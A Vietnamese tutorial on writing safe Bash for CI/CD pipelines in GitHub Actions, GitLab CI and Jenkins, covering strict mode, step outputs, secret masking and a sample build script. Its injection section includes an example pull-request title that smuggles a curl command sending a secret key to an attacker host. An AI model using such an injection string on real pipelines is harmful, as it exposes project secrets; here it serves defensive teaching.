BÀI VIẾT // [DEVOPS] Bash trong CI/CD: Tích hợp Pipeline tự động hóa an toàn cho DevOps
Bash trong CI/CD: Tích hợp Pipeline tự động hóa an toàn cho DevOps

Bash trong CI/CD: Tích hợp Pipeline tự động hóa an toàn cho DevOps

Hướng dẫn tối ưu và bảo mật Bash script trong pipeline CI/CD: GitHub Actions, GitLab CI, Jenkins, chia sẻ state giữa các step, chống injection và bảo vệ secrets.

DEVOPS BASH

Bash trong CI/CD cho DevOps

Trong bài viết trước, chúng ta đã tìm hiểu cách bẫy lỗi và dọn dẹp tài nguyên với trap, cùng cơ chế tự động thử lại (Retry Pattern). Khi đưa các script này vào quy trình tích hợp và phân phối liên tục (CI/CD), Bash chính là “trái tim” thực thi đằng sau hầu hết các công cụ tự động hóa phổ biến hiện nay như GitHub Actions, GitLab CI, Jenkins hay Bitbucket Pipelines.

Dù các nền tảng CI/CD định nghĩa cấu trúc pipeline bằng cú pháp YAML hoặc DSL khai báo, nhưng các bước thực tế (như cài đặt dependency, biên dịch mã nguồn, chạy test, build Docker image và deploy lên server) phần lớn đều được điều phối bởi shell script.

Tuy nhiên, chạy Bash trong môi trường CI/CD khác biệt hoàn toàn so với khi bạn gõ lệnh trên terminal cá nhân:

  • Môi trường không tương tác (Non-interactive mode, không có TTY để hỏi [y/n]).
  • Bất kỳ câu lệnh nào trả về mã lỗi (Exit Code khác 0) đều có thể làm sập toàn bộ pipeline.
  • Các lỗ hổng bảo mật như rò rỉ secret hoặc Command Injection từ dữ liệu Pull Request có thể làm lộ thông tin nhạy cảm của dự án.

Bài viết này sẽ hướng dẫn bạn các nguyên tắc cốt lõi, kỹ thuật bảo mật và phương pháp viết Bash script chuẩn mực để tích hợp mượt mà vào các pipeline CI/CD hiện đại.


Nguyên tắc vàng khi viết Bash trong CI/CD

Luôn kích hoạt Strict Mode

Trong runner CI/CD, script phải dừng lại ngay lập tức khi gặp lỗi đầu tiên để tránh việc triển khai một bản build bị lỗi lên server:

1
2
set -euo pipefail
IFS=$'\n\t'
  • set -e: Dừng step ngay khi một lệnh thất bại, giúp runner phát hiện lỗi và đánh dấu pipeline thất bại.
  • set -u: Báo lỗi ngay nếu sử dụng biến môi trường chưa được định nghĩa (ngăn lỗi quên cấu hình secret).
  • set -o pipefail: Đảm bảo pipeline lệnh (ví dụ: build_app | tee build.log) trả về mã lỗi thực tế của lệnh build_app chứ không phải của tee.

Chế độ không tương tác (Non-interactive Execution)

Runner CI/CD không có người ngồi trước màn hình để xác nhận lời nhắc. Mọi câu lệnh gọi package manager hoặc công cụ hệ thống đều phải bật cờ tự động đồng ý:

1
2
3
4
5
6
7
8
# Đối với Debian / Ubuntu
export DEBIAN_FRONTEND=noninteractive
apt-get update && apt-get install -y --no-install-recommends curl jq

# Đối với Docker, Git, Terraform
docker login -u "$DOCKER_USER" --password-stdin <<< "$DOCKER_PASS"
git clone --depth 1 --branch "$BRANCH" "$REPO_URL"
terraform apply -auto-approve

Tương tác với các nền tảng CI/CD phổ biến

Mỗi nền tảng CI/CD cung cấp các cơ chế riêng để script Bash giao tiếp với hệ thống runner: truyền biến môi trường sang step sau, xuất output hoặc in bảng tóm tắt kết quả.

GitHub Actions

GitHub Actions cung cấp các file môi trường đặc biệt để Bash script ghi dữ liệu vào:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 1. Truyền biến môi trường sang các step tiếp theo ($GITHUB_ENV)
echo "APP_VERSION=v2.5.0" >> "$GITHUB_ENV"
echo "DEPLOY_ENV=staging" >> "$GITHUB_ENV"

# 2. Xuất output cho các step hoặc job khác sử dụng ($GITHUB_OUTPUT)
echo "image_tag=sha-abc1234" >> "$GITHUB_OUTPUT"

# 3. Xuất output nhiều dòng an toàn (Multiline Output)
{
  echo "release_notes<<EOF"
  git log -n 5 --oneline
  echo "EOF"
} >> "$GITHUB_OUTPUT"

# 4. Ghi bảng tóm tắt vào trang tổng quan của Workflow ($GITHUB_STEP_SUMMARY)
{
  echo "### Kết quả triển khai"
  echo "| Dịch vụ | Trạng thái | Phiên bản |"
  echo "| :--- | :--- | :--- |"
  echo "| API Gateway | Hoàn thành | v2.5.0 |"
  echo "| Worker | Hoàn thành | v2.5.0 |"
} >> "$GITHUB_STEP_SUMMARY"

GitLab CI

Trong GitLab CI, bạn có thể truyền biến giữa các job bằng cách ghi vào file dotenv và khai báo artifacts:reports:dotenv:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# .gitlab-ci.yml
build_job:
  stage: build
  script:
    - echo "APP_VERSION=1.4.2" > build.env
    - echo "IMAGE_TAG=registry.example.com/app:1.4.2" >> build.env
  artifacts:
    reports:
      dotenv: build.env

deploy_job:
  stage: deploy
  dependencies:
    - build_job
  script:
    - echo "Đang deploy phiên bản $APP_VERSION với image $IMAGE_TAG..."

Jenkins Pipeline

Trong Jenkins Declarative hoặc Scripted Pipeline, Bash được thực thi thông qua step sh:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
pipeline {
    agent any
    stages {
        stage('Build & Test') {
            steps {
                sh '''#!/usr/bin/env bash
                    set -euo pipefail
                    echo "Bắt đầu kiểm thử..."
                    npm test
                '''
            }
        }
    }
}

Bảo mật và kiểm soát Secret trong Pipeline

CI/CD là một trong những mục tiêu tấn công hàng đầu của tin tặc. Một đoạn script bất cẩn có thể làm rò rỉ secret ra log công khai hoặc cho phép thực thi mã độc tùy ý.

Tắt debug trace trước khi xử lý Secret

Khi sử dụng set -x để debug, Bash sẽ in giá trị thực tế của mọi biến ra log. Nếu script đọc API key hay password, secret đó sẽ bị lộ. Hãy tắt trace bằng set +x trước khi thao tác với secret:

1
2
3
4
5
6
# Tắt trace trước khi đọc secret
set +x
export DATABASE_PASSWORD="${SECRET_DB_PASSWORD}"
authenticate_vault "$SECRET_API_TOKEN"
# Bật lại trace sau khi xong (nếu cần thiết)
set -x

Ngăn chặn tấn công Command Injection từ Pull Request

Một sai lầm phổ biến trong GitHub Actions là đưa trực tiếp context của Pull Request vào câu lệnh shell:

1
2
3
4
# NGUY HIỂM: Dễ bị tấn công Script/Command Injection
- name: Kiểm tra tiêu đề PR
  run: |
    echo "Tiêu đề PR là: ${{ github.event.pull_request.title }}"

Nếu kẻ tấn công gửi PR với tiêu đề: Fix bug"; curl https://attacker.com/leak?key=$SECRET_KEY; #, câu lệnh độc hại sẽ được thực thi trên runner!

Cách khắc phục: Luôn gán context vào biến môi trường trung gian:

1
2
3
4
5
6
# AN TOÀN: Truyền qua biến môi trường
- name: Kiểm tra tiêu đề PR an toàn
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: |
    echo "Tiêu đề PR là: $PR_TITLE"

Sử dụng cơ chế Masking Secret

Nếu script của bạn tự động sinh ra token mới (ví dụ gọi API để lấy temporary session token), hãy yêu cầu runner ẩn token đó khỏi log:

1
2
3
4
# Trên GitHub Actions
SESSION_TOKEN=$(curl -sS -X POST "https://auth.example.com/token" | jq -r .token)
echo "::add-mask::$SESSION_TOKEN"
echo "Xác thực với token thành công: $SESSION_TOKEN" # Sẽ hiển thị dưới dạng *** trong log

Tách biệt mã nguồn: Inline YAML vs File Script độc lập

Khi xây dựng pipeline, bạn có hai lựa chọn để đặt code Bash:

Tiêu chíInline YAML (run)File Script riêng (.github/scripts/deploy.sh)
Độ dài phù hợp1 - 5 dòng lệnh đơn giảnKịch bản phức tạp > 10 dòng
Kiểm tra cú pháp & LintingKhó lint, dễ dính lỗi indentation YAMLDễ kiểm tra bằng shellcheckbash -n
Khả năng tái sử dụngBị khóa chặt trong file cấu hình CIChạy được cả trên local terminal và CI
Bảo trì & TestSửa pipeline phải commit push lên CIViết unit test được với framework như Bats

Cấu trúc khuyến nghị cho dự án

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
.
├── .github/
│   ├── workflows/
│   │   └── deployment.yml
│   └── scripts/
│       ├── build-image.sh
│       ├── run-migrations.sh
│       └── notify-slack.sh
├── src/
└── tests/

Trong workflow YAML, bạn chỉ cần cấp quyền và gọi script:

1
2
3
4
- name: Build và kiểm tra Image
  run: |
    chmod +x .github/scripts/build-image.sh
    ./.github/scripts/build-image.sh

Ví dụ thực hành: Script CI/CD Build và Deploy an toàn

Dưới đây là một script hoàn chỉnh được thiết kế để chạy trong pipeline CI/CD: thực hiện lint mã nguồn, chạy test, build Docker image và xuất báo cáo trạng thái ra $GITHUB_STEP_SUMMARY.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!/usr/bin/env bash
# ==============================================================================
# Script : ci-build-and-deploy.sh
# Mục đích: Quy trình build, kiểm tra và triển khai an toàn trong CI/CD
# ==============================================================================

set -euo pipefail
IFS=$'\n\t'

readonly REGISTRY="registry.example.com"
readonly APP_NAME="order-service"
readonly COMMIT_SHA="${GITHUB_SHA:-$(git rev-parse --short HEAD)}"
readonly BUILD_TAG="${APP_NAME}:${COMMIT_SHA:0:7}"
readonly SUMMARY_FILE="${GITHUB_STEP_SUMMARY:-/dev/null}"

log_info()  { echo "[CI] [INFO]  $*"; }
log_error() { echo "[CI] [ERROR] $*" >&2; }

# Bẫy lỗi và ghi nhận trạng thái
cleanup() {
    local exit_code=$?
    if [[ $exit_code -ne 0 ]]; then
        log_error "Pipeline gặp sự cố tại bước xử lý! Mã thoát: $exit_code"
        echo "::error::Pipeline build thất bại với mã lỗi $exit_code"
    fi
}
trap cleanup EXIT

# 1. Kiểm tra biến môi trường bắt buộc
validate_environment() {
    log_info "Đang kiểm tra biến môi trường CI..."
    local required_vars=("DOCKER_REGISTRY_USER" "DOCKER_REGISTRY_PASSWORD")
    for var in "${required_vars[@]}"; do
        if [[ -z "${!var:-}" ]]; then
            log_error "Thiếu biến môi trường bắt buộc: $var"
            exit 1
        fi
    done
}

# 2. Chạy kiểm tra tĩnh và Unit Test
run_tests() {
    log_info "Đang chạy bộ kiểm thử tự động..."
    # Giả lập chạy test
    echo "Running unit tests: 42 passed, 0 failed."
}

# 3. Đóng gói Docker Image
build_container() {
    log_info "Đang đóng gói Docker image: $REGISTRY/$BUILD_TAG..."
    
    # Đăng nhập registry không để lộ secret ra stdout
    echo "$DOCKER_REGISTRY_PASSWORD" | docker login "$REGISTRY" -u "$DOCKER_REGISTRY_USER" --password-stdin > /dev/null 2>&1
    
    # Build image (mô phỏng)
    echo "Docker build completed successfully."
    
    # Xuất output cho GitHub Actions nếu đang chạy trong workflow
    if [[ -n "${GITHUB_OUTPUT:-}" ]]; then
        echo "image_uri=${REGISTRY}/${BUILD_TAG}" >> "$GITHUB_OUTPUT"
        echo "build_sha=${COMMIT_SHA}" >> "$GITHUB_OUTPUT"
    fi
}

# 4. Ghi nhận báo cáo trực quan
generate_summary() {
    if [[ -w "$SUMMARY_FILE" ]]; then
        {
            echo "## Báo cáo CI/CD Build"
            echo "- **Ứng dụng**: \`$APP_NAME\`"
            echo "- **Commit SHA**: \`$COMMIT_SHA\`"
            echo "- **Image Artifact**: \`$REGISTRY/$BUILD_TAG\`"
            echo "- **Trạng thái**: Hoàn thành xuất sắc"
        } >> "$SUMMARY_FILE"
    fi
}

main() {
    validate_environment
    run_tests
    build_container
    generate_summary
    log_info "Quy trình CI/CD hoàn tất thành công!"
}

main "$@"

Ghi chú triển khai

  • Tự động hóa lint script trong PR: Luôn thêm một job chạy shellcheckbash -n trên toàn bộ thư mục scripts/ trong mọi Pull Request để phát hiện sớm các lỗi cú pháp và nguy cơ bảo mật.
  • Tránh hardcode đường dẫn tuyệt đối: Trong môi trường CI, đường dẫn workspace có thể thay đổi (/home/runner/work/... trên GitHub Actions, /builds/... trên GitLab CI). Luôn dùng đường dẫn tương đối từ thư mục gốc của repository hoặc biến $GITHUB_WORKSPACE / $CI_PROJECT_DIR.
  • Cẩn trọng với Cache: Khi cache các thư mục như node_modules hay .m2, hãy kiểm tra kỹ tính toàn vẹn của file lock trước khi thực thi script build để tránh dùng phải artifact lỗi thời.
  • Bọc mọi biến trong ngoặc kép: Luôn dùng "$VARIABLE" trong các script CI để tránh lỗi tách từ (word splitting) khi biến chứa khoảng trắng hoặc ký tự đặc biệt.

Lời kết

Bash không chỉ là một công cụ dòng lệnh đơn giản, mà là cầu nối cốt lõi để hiện thực hóa toàn bộ logic tự động hóa trong các pipeline CI/CD hiện đại. Bằng cách kích hoạt Strict Mode, kiểm soát chặt chẽ dữ liệu đầu vào chống Command Injection, ẩn giấu secret và tách các script phức tạp thành các file độc lập, bạn sẽ xây dựng được quy trình CI/CD an toàn, tin cậy và dễ mở rộng.

Ở bài tiếp theo, chúng ta sẽ bước vào Bài 12 — Quản lý hệ thống với Bash: Theo dõi và can thiệp tiến trình hệ thống: tìm hiểu các kỹ thuật giám sát tài nguyên (CPU, RAM, Disk), kiểm tra port mạng và tự động khởi động lại dịch vụ khi gặp sự cố.

THẢO LUẬN & BÌNH LUẬN